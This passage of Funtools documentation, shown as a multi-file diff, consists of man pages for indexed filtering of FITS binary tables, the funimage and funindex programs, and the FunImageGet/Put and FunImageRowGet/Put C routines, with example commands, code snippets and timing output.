row. Because the actual filter code is compiled on the fly, it is very
efficient. However, for very large files (hundreds of Mb or larger),
evaluating the filter expression on each row can take a long time. Therefore,
funtools supports index files for columns, which are used automatically during
filtering to reduce dramatically the number of row evaluations performed.
The speed increase for indexed filtering can be an order of magnitude or
more, depending on the size of the file.
The funindex program creates an
index on one or more columns in a binary table. For example, to create an index
for the column pi in the file huge.fits, use:
funindex huge.fits pi
This will create an index named huge_pi.idx.
When a filter expression is initialized for row evaluation, funtools
looks for an index file for each column in the filter expression. If
found, and if the file modification date of the index file is later
than that of the data file, then the index will be used to reduce the
number of rows that are evaluated in the filter. When
Spatial Region Filtering is part of the
expression, the columns associated with the region are checked for index
files.
If an index file is not available for a given column, then in general,
all rows must be checked when that column is part of a filter
expression. This is not true, however, when a non-indexed column is
part of an AND expression. In this case, only the rows that pass the
other part of the AND expression need to be checked. Thus, in some cases,
filtering speed can increase significantly even if all columns are not
indexed.
Also note that certain types of filter expression syntax cannot make
use of indices. For example, calling functions with column names as
arguments implies that all rows must be checked against the function
value. Once again, however, if this function is part of an AND
expression, then a significant improvement in speed still is possible
if the other part of the AND expression is indexed.
For example, note below the dramatic speedup in searching a 1 Gb
file using an AND filter, even when one of the columns (pha) has no
index:
time fundisp \
huge.fits'[idx_activate=0,idx_debug=1,pha=2348&&cir 4000 4000 1]' \
"x y pha"
x y pha
---------- ----------- ----------
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
42.36u 13.07s 6:42.89 13.7%
time fundisp \
huge.fits'[idx_activate=1,idx_debug=1,pha=2348&&cir 4000 4000 1]' \
"x y pha"
x y pha
---------- ----------- ----------
idxeq: [INDEF]
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
idxand(1): INDEF [IDX_OR_SORT]
idxall(1): [IDX_OR_SORT]
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
1.55u 0.37s 1:19.80 2.4%
When all columns are indexed, the increase in speed can be even more dramatic:
time fundisp \
huge.fits'[idx_activate=0,idx_debug=1,pi=770&&cir 4000 4000 1]' \
"x y pi"
x y pi
---------- ----------- ----------
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
42.60u 12.63s 7:28.63 12.3%
time fundisp \
huge.fits'[idx_activate=1,idx_debug=1,pi=770&&cir 4000 4000 1]' \
"x y pi"
x y pi
---------- ----------- ----------
idxeq: pi start=9473025,stop=9492240 => pi[ROW 9473025:9492240]
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
idxor sort/merge: pi[ROW 9473025:9492240] [IDX_OR_SORT]
idxmerge(5): [IDX_OR_SORT] pi[ROW]
idxall(1): [IDX_OR_SORT]
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
1.67u 0.30s 0:24.76 7.9%
The miracle of indexed filtering (and indeed, of any indexing) is the
speed of the binary search on the index, which is of order log2(n)
instead of n. (The funtools binary search method is taken from
http://www.tbray.org/ongoing/When/200x/2003/03/22/Binary, to whom
grateful acknowledgement is made.) This means that the larger the
file, the better the performance. Conversely, it also means that for
small files, using an index (and the overhead involved) can slow
filtering down somewhat. Our tests indicate that on a file containing
a few tens of thousands of rows, indexed filtering can be 10 to 20
percent slower than non-indexed filtering. Of course, your mileage
will vary with conditions (disk access speed, amount of available
memory, process load, etc.)
Any problem encountered during index processing will result in
indexing being turned off, and replaced by filtering all rows. You can turn
filtering off manually by setting the idx_activate variable to 0 (in a filter
expression) or the FILTER_IDX_ACTIVATE environment variable to 0 (in the global
environment). Debugging output showing how the indexes are being processed can
be displayed to stderr by setting the idx_debug variable to 1 (in a filter
expression) or the FILTER_IDX_DEBUG environment variable to 1 (in the global
environment).
Currently, indexed filtering only works with FITS binary tables and raw
event files. It does not work with text files. This restriction might be
removed in a future release.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,314 @@
=pod
=head1 NAME
B<funimage - create a FITS image from a Funtools data file>
=head1 SYNOPSIS
funimage [-a] <iname> <oname> [bitpix=n]
funimage [-l] <iname> <oname> <xcol:xdims> <ycol:ydims> <vcol> [bitpix=n]
funimage [-p x|y] <iname> <oname> [bitpix=n]
=head1 OPTIONS
-a # append to existing output file as an image extension
-l # input is a list file containing xcol, ycol, value
-p [x|y] # project along x or y axis to create a 1D image
=head1 DESCRIPTION
B<funimage> creates a primary FITS image from the specified
FITS Extension
and/or
Image Section
of a FITS file, or from an
Image Section
of a non-FITS array, or from a raw event file.
The first argument to the program specifies the FITS input image,
array, or raw event file to process. If "stdin" is specified, data are
read from the standard input. Use Funtools
Bracket Notation to specify FITS extensions, image sections, and
filters. The second argument is the output FITS file. If "stdout" is
specified, the FITS image is written to the standard output. By
default, the output pixel values are of the same data type as those of the
input file (or type "int" when binning a table), but this can be
overridden using an optional third argument of the form:
bitpix=n
where n is 8,16,32,-32,-64, for unsigned char, short, int, float and double,
respectively.
If the input data are of type image, the appropriate section is
extracted and blocked (based on how the
Image Section is specified), and
the result is written to the FITS primary image. When an integer
image containing the BSCALE and BZERO keywords is converted to float,
the pixel values are scaled and the scaling keywords are deleted from the
output header. When converting integer scaled data to integer
(possibly of a different size), the pixels are not scaled and the
scaling keywords are retained.
If the input data is a binary table or raw event file, these are
binned into an image, from which a section is extracted and blocked,
and written to a primary FITS image. In this case, it is necessary to
specify the two columns that will be used in the 2D binning. This can
be done on the command line using the B<bincols=(x,y)> keyword:
funcnts "foo.ev[EVENTS,bincols=(detx,dety)]"
The full form of the B<bincols=> specifier is:
bincols=([xname[:tlmin[:tlmax:[binsiz]]]],[yname[:tlmin[:tlmax[:binsiz]]]])
where the tlmin, tlmax, and binsiz specifiers determine the image binning
dimensions:
dim = (tlmax - tlmin)/binsiz (floating point data)
dim = (tlmax - tlmin)/binsiz + 1 (integer data)
Using this syntax, it is possible to bin any two columns of a binary
table at any bin size. Note that the tlmin, tlmax, and binsiz
specifiers can be omitted if TLMIN, TLMAX, and TDBIN header parameters
(respectively) are present in the FITS binary table header for the
column in question. Note also that if only one parameter is specified,
it is assumed to be tlmax, and tlmin defaults to 1. If two parameters
are specified, they are assumed to be tlmin and tlmax.
See Binning FITS Binary Tables and Non-FITS
Event Files for more information about binning parameters.
By default, a new 2D FITS image file is created and the image is written
to the primary HDU. If the B<-a> (append) switch is specified,
the image is appended to an existing FITS file as an IMAGE extension.
(If the output file does not exist, the switch is effectively ignored
and the image is written to the primary HDU.) This can be useful in a
shell programming environment when processing multiple FITS images
that you want to combine into a single final FITS file.
B<funimage> also can take input from a table containing columns of
x, y, and value (e.g., the output from B<fundisp -l> which
displays each image x and y and the number of counts at that
position.) When the B<-l> (list) switch is used, the input file is
taken to be a FITS or ASCII table containing (at least) three columns
that specify the x and y image coordinates and the value of that
image pixel. In this case, B<funimage> requires four extra
arguments: xcolumn:xdims, ycolumn:ydims, vcolumn and bitpix=n. The x
and y col:dim information takes the form:
name:dim # values range from 1 to dim
name:min:max # values range from min to max
name:min:max:binsiz # dimensions scaled by binsize
In particular, the min value should be used whenever the
minimum coordinate value is something other than one. For example:
funimage -l foo.lst foo.fits xcol:0:512 ycol:0:512 value bitpix=-32
The list feature also can be used to read unnamed columns from standard
input: simply replace the column name with a null string. Note
that the dimension information is still required:
funimage -l stdin foo.fits "":0:512 "":0:512 "" bitpix=-32
240 250 1
255 256 2
...
^D
The list feature provides a simple way to generate a blank image.
If you pass a Column-based Text File
to funimage in which the text header contains the required image
information, then funimage will correctly make a blank image. For
example, consider the following text file (called foo.txt):
x:I:1:10 y:I:1:10
------ ------
0 0
This text file defines two columns, x and y, each of data type 32-bit int and
image dimension 10. The command:
funimage foo.txt foo.fits bitpix=8
will create an empty FITS image called foo.fits containing a 10x10
image of unsigned char:
fundisp foo.fits
1 2 3 4 5 6 7 8 9 10
------ ------ ------ ------ ------ ------ ------ ------ ------ ------
10: 0 0 0 0 0 0 0 0 0 0
9: 0 0 0 0 0 0 0 0 0 0
8: 0 0 0 0 0 0 0 0 0 0
7: 0 0 0 0 0 0 0 0 0 0
6: 0 0 0 0 0 0 0 0 0 0
5: 0 0 0 0 0 0 0 0 0 0
4: 0 0 0 0 0 0 0 0 0 0
3: 0 0 0 0 0 0 0 0 0 0
2: 0 0 0 0 0 0 0 0 0 0
1: 1 0 0 0 0 0 0 0 0 0
Note that the text file must contain at least
one row of data. However, in the present example, event position 0,0 is
outside the limits of the image and will be ignored. (You can, of course,
use real x,y values to seed the image with data.)
Furthermore, you can use the TEXT filter specification to obviate the need for
an input text file altogether. The following command will create the same
10x10 char image without an actual input file:
funimage stdin'[TEXT(x:I:10,y:I:10)]' foo.fits bitpix=8 < /dev/null
or
funimage /dev/null'[TEXT(x:I:10,y:I:10)]' foo.fits bitpix=8
You also can use either of these methods to generate a region mask simply
by appending a region inside the filter brackets and specfying B<mask=all>
along with the bitpix. For example, the following command will generate a
10x10 char mask using 3 regions:
funimage stdin'[TEXT(x:I:10,y:I:10),cir(5,5,4),point(10,1),-cir(5,5,2)]' \
foo.fits bitpix=8,mask=all < /dev/null
The resulting mask looks like this:
fundisp foo.fits
1 2 3 4 5 6 7 8 9 10
------ ------ ------ ------ ------ ------ ------ ------ ------ ------
10: 0 0 0 0 0 0 0 0 0 0
9: 0 0 0 0 0 0 0 0 0 0
8: 0 0 1 1 1 1 1 0 0 0
7: 0 1 1 1 1 1 1 1 0 0
6: 0 1 1 0 0 0 1 1 0 0
5: 0 1 1 0 0 0 1 1 0 0
4: 0 1 1 0 0 0 1 1 0 0
3: 0 1 1 1 1 1 1 1 0 0
2: 0 0 1 1 1 1 1 0 0 0
1: 0 0 0 0 0 0 0 0 0 2
You can use B<funimage> to create 1D image projections along the x
or y axis using the B<-p [x|y]> switch. This capability works for
both images and tables. For example consider a FITS table named ev.fits
containing the following rows:
X Y
-------- --------
1 1
1 2
1 3
1 4
1 5
2 2
2 3
2 4
2 5
3 3
3 4
3 5
4 4
4 5
5 5
A corresponding 5x5 image, called dim2.fits, would therefore contain:
1 2 3 4 5
---------- ---------- ---------- ---------- ----------
5: 1 1 1 1 1
4: 1 1 1 1 0
3: 1 1 1 0 0
2: 1 1 0 0 0
1: 1 0 0 0 0
A projection along the y axis can be performed on either the table or
the image:
funimage -p y ev.fits stdout | fundisp stdin
1 2 3 4 5
---------- ---------- ---------- ---------- ----------
1: 1 2 3 4 5
funimage -p y dim2.fits stdout | fundisp stdin
1 2 3 4 5
---------- ---------- ---------- ---------- ----------
1: 1 2 3 4 5
Furthermore, you can create a 1D image projection along any column of
a table by using the B<bincols=[column]> filter specification and
specifying a single column. For example, the following command
projects the same 1D image along the y axis of a table as use of
the B<-p y> switch:
funimage ev.fits'[bincols=y]' stdout | fundisp stdin
1 2 3 4 5
---------- ---------- ---------- ---------- ----------
1: 1 2 3 4 5
Examples:
Create a FITS image from a FITS binary table:
[sh] funimage test.ev test.fits
Display the FITS image generated from a blocked section of FITS binary table:
[sh] funimage "test.ev[2:8,3:7,2]" stdout | fundisp stdin
1 2 3
--------- --------- ---------
1: 20 28 36
2: 28 36 44
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,237 @@
=pod
=head1 NAME
B<FunImageGet - get an image or image section>
=head1 SYNOPSIS
#include <funtools.h>
void *FunImageGet(Fun fun, void *buf, char *plist)
=head1 DESCRIPTION
The B<FunImageGet()> routine returns an binned image array of the
specified section of a Funtools data file. If the input data are
already of type image, the array is generated by extracting the
specified image section and then binning it according to the specified
bin factor. If the input data are contained in a binary table or raw
event file, the rows are binned on the columns specified by the
B<bincols=> keyword (using appropriate default columns as
necessary), after which the image section and bin factors are
applied. In both cases, the data is automatically converted from FITS
to native format, if necessary.
The first argument is the Funtools handle returned by
FunOpen(). The second B<buf>
argument is a pointer to a data buffer to fill. If NULL is specified,
FunImageGet will allocate a buffer of the appropriate size. Generally
speaking, you always want Funtools to allocate the buffer because
the image dimensions will be determined by
Funtools image sectioning
on the command line.
The third B<plist> (i.e., parameter list) argument is a string
containing one or more comma-delimited B<keyword=value>
parameters. It can be used to specify the return data type using the
B<bitpix=> keyword. If no such keyword is specified in the plist
string, the data type of the returned image is the same as the data type
of the original input file, or is of type int for FITS binary tables.
If the B<bitpix=> keyword is supplied in the plist string, the data
type of the returned image will be one of the supported FITS image
data types:
=over 4
=item *
8 unsigned char
=item *
16 short
=item *
32 int
=item *
-32 float
=item *
-64 double
=back
For example:
void *buf;
/* extract data section into an image buffer */
if( !(buf = FunImageGet(fun, NULL, NULL)) )
gerror(stderr, "could not FunImageGet: %s\n", iname);
will allocate buf and retrieve the image in the file data format. In
this case, you will have to determine the data type (using the
FUN_SECT_BITPIX value in the
FunInfoGet()
routine)
and then use a switch statement to process each data type:
int bitpix;
void *buf;
unsigned char *cbuf;
short *sbuf;
int *ibuf;
...
buf = FunImageGet(fun, NULL, NULL);
FunInfoGet(fun, FUN_SECT_BITPIX, &bitpix, 0);
/* set appropriate data type buffer to point to image buffer */
switch(bitpix){
case 8:
cbuf = (unsigned char *)buf; break;
case 16:
sbuf = (short *)buf; break;
case 32:
ibuf = (int *)buf; break;
...
See the
imblank example code
for more details on how to process an image when the data type is not
specified beforehand.
It often is easier to specify the data type directly:
double *buf;
/* extract data section into a double image buffer */
if( !(buf = FunImageGet(fun, NULL, "bitpix=-64")) )
gerror(stderr, "could not FunImageGet: %s\n", iname);
will extract the image while converting to type double.
On success, a pointer to the image buffer is returned. (This will be
the same as the second argument, if NULL is not passed to the latter.)
On error, NULL is returned.
In summary, to retrieve image or row data into a binned image, you simply
call FunOpen() followed by
FunImageGet(). Generally, you
then will want to call
FunInfoGet()
to retrieve the
axis dimensions (and data type) of the section you are processing
(so as to take account of sectioning and blocking of the original data):
double *buf;
int i, j;
int dim1, dim2;
... other declarations, etc.
/* open the input FITS file */
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
/* extract and bin the data section into a double float image buffer */
if( !(buf = FunImageGet(fun, NULL, "bitpix=-64")) )
gerror(stderr, "could not FunImageGet: %s\n", argv[1]);
/* get dimension information from funtools structure */
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
/* loop through pixels and reset values below limit to value */
for(i=0; i<dim1*dim2; i++){
if( buf[i] <= blimit ) buf[i] = bvalue;
}
Another useful plist string value is "mask=all", which returns an
image populated with regions id values. Image pixels within a region
will contain the associated region id (region values start at 1), and
otherwise will contain a 0 value. Thus, the returned image is a
region mask which can be used to process the image data (which
presumably is retrieved by a separate call to FunImageGet) pixel by
pixel.
If a FITS binary table or a non-FITS raw event file is being binned
into an image, it is necessary to specify the two columns that will be
used in the 2D binning. This usually is done on the command line
using the B<bincols=(x,y)> keyword:
funcnts "foo.ev[EVENTS,bincols=(detx,dety)]"
The full form of the B<bincols=> specifier is:
bincols=([xname[:tlmin[:tlmax:[binsiz]]]],[yname[:tlmin[:tlmax[:binsiz]]]])
where the tlmin, tlmax, and binsiz specifiers determine the image binning
dimensions:
dim = (tlmax - tlmin)/binsiz (floating point data)
dim = (tlmax - tlmin)/binsiz + 1 (integer data)
These tlmin, tlmax, and binsiz specifiers can be omitted if TLMIN,
TLMAX, and TDBIN header parameters (respectively) are present in the
FITS binary table header for the column in question. Note that if
only one parameter is specified, it is assumed to be tlmax, and tlmin
defaults to 1. If two parameters are specified, they are assumed to be
tlmin and tlmax.
If B<bincols> is not specified on the command line, Funtools tries
to use appropriate defaults: it looks for the environment variable
FITS_BINCOLS (or FITS_BINKEY). Then it looks for the Chandra
parameters CPREF (or PREFX) in the FITS binary table header. Failing
this, it looks for columns named "X" and "Y" and if these are not
found, it looks for columns containing the characters "X" and "Y".
See Binning FITS Binary Tables and
Non-FITS Event Files for more information.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,145 @@
=pod
=head1 NAME
B<FunImagePut - put an image to a Funtools file>
=head1 SYNOPSIS
#include <funtools.h>
int FunImagePut(Fun fun, void *buf, int dim1, int dim2, int bitpix,
char *plist)
=head1 DESCRIPTION
The B<FunImagePut()> routine outputs an image array to a FITS
file. The image is written either as a primary header/data unit or as
an image extension, depending on whether other data have already been
written to the file. That is, if the current file position is at the
beginning of the file, a primary HDU is written. Otherwise, an
image extension is written.
The first argument is the Funtools handle returned by
FunOpen(). The second B<buf>
argument is a pointer to a data buffer to write. The B<dim1>and
B<dim2> arguments that follow specify the dimensions of the image,
where dim1 corresponds to naxis1 and dim2 corresponds to naxis2. The
B<bitpix> argument specifies the data type of the image and can
have the following FITS-standard values:
=over 4
=item *
8 unsigned char
=item *
16 short
=item *
32 int
=item *
-32 float
=item *
-64 double
=back
When FunTableRowPut() is first
called for a given image, Funtools checks to see if the primary header
has already been written (by having previously written an image or a
binary table.) If not, this image is written to the primary HDU.
Otherwise, it is written to an image extension.
Thus, a simple program to generate a FITS image might look like this:
int i;
int dim1=512, dim2=512;
double *dbuf;
Fun fun;
dbuf = malloc(dim1*dim2*sizeof(double));
/* open the output FITS image, preparing to copy input params */
if( !(fun = FunOpen(argv[1], "w", NULL)) )
gerror(stderr, "could not FunOpen output file: %s\n", argv[1]);
for(i=0; i<(dim1*dim2); i++){
... fill dbuf ...
}
/* put the image (header will be generated automatically */
if( !FunImagePut(fun, buf, dim1, dim2, -64, NULL) )
gerror(stderr, "could not FunImagePut: %s\n", argv[1]);
FunClose(fun);
free(dbuf);
In addition, if a
Funtools reference handle
was specified when this table was opened, the
parameters from this
Funtools reference handle
are merged into the new image
header. Furthermore, if a reference image was specified during
FunOpen(), the values of
B<dim1>, B<dim2>, and B<bitpix> in the calling sequence
can all be set to 0. In this case, default values are taken from the
reference image section. This is useful if you are reading an image
section in its native data format, processing it, and then writing
that section to a new FITS file. See the
imblank example code.
The data are assumed to be in the native machine format and will
automatically be swapped to FITS big-endian format if necessary. This
behavior can be over-ridden with the B<convert=[true|false]>
keyword in the B<plist> param list string.
When you are finished writing the image, you should call
FunFlush() to write out the FITS
image padding. However, this is not necessary if you subsequently call
FunClose() without doing any other I/O to the FITS file.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,137 @@
=pod
=head1 NAME
B<FunImageRowGet - get row(s) of an image>
=head1 SYNOPSIS
#include <funtools.h>
void *FunImageRowGet(Fun fun, void *buf, int rstart, int rstop,
char *plist)
=head1 DESCRIPTION
The B<FunImageRowGet()> routine returns one or more image rows
from the specified section of a Funtools data file. If the input data
are of type image, the array is generated by extracting the specified
image rows and then binning them according to the specified bin
factor. If the input data are contained in a binary table or raw
event file, the rows are binned on the columns specified by the
B<bincols=> keyword (using appropriate default columns as needed),
after which the image section and bin factors are applied.
The first argument is the Funtools handle returned by
FunOpen(). The second B<buf>
argument is a pointer to a data buffer to fill. If NULL is specified,
FunImageGet() will allocate a buffer of the appropriate size.
The third and fourth arguments specify the first and last row to
retrieve. Rows are counted starting from 1, up to the value of
FUN_YMAX(fun). The final B<plist> (i.e., parameter list) argument
is a string containing one or more comma-delimited
B<keyword=value> parameters. It can be used to specify the return
data type using the B<bitpix=> keyword. If no such keyword is
specified in the plist string, the data type of the image is the same
as the data type of the original input file, or is of type int for
FITS binary tables.
If the B<bitpix=>value is supplied in the plist string, the data
type of the returned image will be one of the supported FITS image
data types:
=over 4
=item *
8 unsigned char
=item *
16 short
=item *
32 int
=item *
-32 float
=item *
-64 double
=back
For example:
double *drow;
Fun fun;
... open files ...
/* get section dimensions */
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
/* allocate one line's worth */
drow = malloc(dim1*sizeof(double));
/* retrieve and process each input row (starting at 1) */
for(i=1; i <= dim2; i++){
if( !FunImageRowGet(fun, drow, i, i, "bitpix=-64") )
gerror(stderr, "can't FunImageRowGet: %d %s\n", i, iname);
/* reverse the line */
for(j=1; j<=dim1; j++){
... process drow[j-1] ...
}
}
...
On success, a pointer to the image buffer is returned. (This will be
the same as the second argument, if NULL is not passed to the latter.)
On error, NULL is returned. Note that the considerations described
above for specifying binning columns in
FunImageGet() also apply to
B<FunImageRowGet()>.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,122 @@
=pod
=head1 NAME
B<FunImageRowPut - put row(s) of an image>
=head1 SYNOPSIS
#include <funtools.h>
void *FunImageRowPut(Fun fun, void *buf, int rstart, int rstop,
int dim1, int dim2, int bitpix, char *plist)
=head1 DESCRIPTION
The B<FunImageRowPut()> routine writes one or more image rows to
the specified FITS image file. The first argument is the Funtools
handle returned by FunOpen().
The second B<buf> argument is a pointer to the row data buffer,
while the third and fourth arguments specify the starting and ending
rows to write. Valid rows values range from 1 to dim2, i.e., row is
one-valued.
The B<dim1>and B<dim2> arguments that follow specify the
dimensions, where dim1 corresponds to naxis1 and dim2 corresponds to
naxis2. The B<bitpix> argument data type of the image and can
have the following FITS-standard values:
=over 4
=item *
8 unsigned char
=item *
16 short
=item *
32 int
=item *
-32 float
=item *
-64 double
=back
For example:
double *drow;
Fun fun, fun2;
... open files ...
/* get section dimensions */
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
/* allocate one line's worth */
drow = malloc(dim1*sizeof(double));
/* retrieve and process each input row (starting at 1) */
for(i=1; i <= dim2; i++){
if( !FunImageRowGet(fun, drow, i, i, "bitpix=-64") )
gerror(stderr, "can't FunImageRowGet: %d %s\n", i, iname);
... process drow ...
if( !FunImageRowPut(fun2, drow, i, i, 64, NULL) )
gerror(stderr, "can't FunImageRowPut: %d %s\n", i, oname);
}
...
The data are assumed to be in the native machine format and will
automatically be swapped to big-endian FITS format if necessary. This
behavior can be over-ridden with the B<convert=[true|false]>
keyword in the B<plist> param list string.
When you are finished writing the image, you should call
FunFlush() to write out the FITS
image padding. However, this is not necessary if you subsequently call
FunClose() without doing any other I/O to the FITS file.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,83 @@
=pod
=head1 NAME
B<funindex - create an index for a column of a FITS binary table>
=head1 SYNOPSIS
funindex <switches> <iname> <key> [oname]
=head1 OPTIONS
NB: these options are not compatible with Funtools processing. Please
use the defaults instead.
-c # compress output using gzip"
-a # ASCII output, ignore -c (default: FITS table)"
-f # FITS table output (default: FITS table)"
-l # long output, i.e. with key value(s) (default: long)"
-s # short output, i.e. no key value(s) (default: long)"
=head1 DESCRIPTION
The funindex script creates an index for the specified column (key) by
running funtable -s (sort) and then saving the column value and the
record number for each sorted row. This index will be used automatically
by funtools filtering of that column, provided the index file's modification
date is later than that of the data file.
The first required argument is the name of the FITS binary table
to index. Please note that text files cannot be indexed at this time.
The second required argument is the column (key) name to index. While
multiple keys can be specified in principle, the funtools index processing
assume a single key and will not recognize files containing multiple keys.
By default, the output index file name is [root]_[key].idx, where [root]
is the root of the input file. Funtools looks for this specific file name
when deciding whether to use an index for faster filtering. Therefore, the
optional third argument (output file name) should not be used for funtools
processing.
For example, to create an index on column Y for a given FITS file, use:
funindex foo.fits Y
This will generate an index named foo_y.idx, which will be used by funtools
for filters involving the Y column.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,215 @@
=pod
=head1 NAME
B<Funindexes: Using Indexes to Filtering Rows in a Table>
=head1 SYNOPSIS
This document contains a summary of the user interface for
filtering rows in binary tables with indexes.
=head1 DESCRIPTION
Funtools Table Filtering allows rows in a
table to be selected based on the values of one or more columns in the
row. Because the actual filter code is compiled on the fly, it is very
efficient. For very large files (hundreds of Mb or larger), however,
evaluating the filter expression on each row can take a long time. Therefore,
funtools supports index files for columns, which are used automatically during
filtering to reduce dramatically the number of row evaluations performed.
The speed increase for indexed filtering can be an order of magnitude or
more, depending on the size of the file.
The funindex program creates a
index on column in a binary table. For example, to create an index
for the column pi in the file huge.fits, use:
funindex huge.fits pi
This will create an index named huge_pi.idx.
When a filter expression is initialized for row evaluation, funtools
looks for an index file for each column in the filter expression. If
found, and if the file modification date of the index file is later
than that of the data file, then the index will be used to reduce the
number of rows that are evaluated in the filter. When <A
HREF="./regions.html">Spatial Region Filtering is part of the
expression, the columns associated with the region checked for index
files.
If an index file is not available for a given column, then in general,
all rows must be checked when that column is part of a filter
expression. This is not true, however, when a non-indexed column is
part of an AND expression. In this case, only the rows that pass the
other part of the AND expression need to be checked. Thus, in some cases,
filtering speed can increase significantly even if all columns are not
indexed.
Also note that certain types of filter expression syntax cannot make
use of indices. For example, calling functions with column names as
arguments implies that all rows must be checked against the function
value. Once again, however, if this function is part of an AND
expression, then a significant improvement in speed still is possible
if the other part of the AND expression is indexed.
As an example, note below the dramatic speedup in searching a 1 Gb
file using an AND filter, even when one of the columns (pha) has no
index:
bynars-16: time fundisp huge.fits'[idx_use=0,idx_debug=1,pha=2348&&cir 4000 4000 1]' "x y pha"
x y pha
----------- ----------- ----------
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
42.36u 13.07s 6:42.89 13.7%
bynars-17: time fundisp huge.fits'[idx_use=1,idx_debug=1,pha=2348&&cir 4000 4000 1]' "x y pha"
x y pha
----------- ----------- ----------
idxeq: [INDEF]
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
idxand(1): INDEF [IDX_OR_SORT]
idxall(1): [IDX_OR_SORT]
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
1.55u 0.37s 1:19.80 2.4%
When all columns are indexed, the increase in speed can be even more dramatic:
bynars-20: time fundisp huge.fits'[idx_use=0,idx_debug=1,pi=770&&cir 4000 4000 1]' "x y pi"
x y pi
----------- ----------- ----------
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
42.60u 12.63s 7:28.63 12.3%
bynars-21: time fundisp huge.fits'[idx_use=1,idx_debug=1,pi=770&&cir 4000 4000 1]' "x y pi"
x y pi
----------- ----------- ----------
idxeq: pi start=9473025,stop=9492240 => pi[ROW 9473025:9492240]
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
idxor sort/merge: pi[ROW 9473025:9492240] [IDX_OR_SORT]
idxmerge(5): [IDX_OR_SORT] pi[ROW]
idxall(1): [IDX_OR_SORT]
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
1.67u 0.30s 0:24.76 7.9%
The miracle of indexed filtering (and indeed, of any indexing) is due
to the speed of the binary search on the index, which is of order
log2(n) instead of n. (The funtools binary search method is taken from
http://www.tbray.org/ongoing/When/200x/2003/03/22/Binary, to whom
grateful acknowledgement is made.) This means that the larger the
file, the better the performance. Conversely, it also means that
for small files, using an index (and the overhead involved) can slow
filtering down somewhat. Our tests indicate that on a file containing
a few tens of thousands of rows, indexed filtering can be 10-20
percent slower. Of course, your mileage will vary with conditions
(disk access speed, amount of available memory, process load, etc.)
Any problem encountered during index processing is supposed to result in
indexing being turned off, replaced by filtering all rows. You can turn
filtering off manually by setting the idx_use variable to 0 (in a filter
expression) or the FILTER_IDX_USE environment variable to 0 (in the global
environment). Debugging output showing how the indexes are being processed can
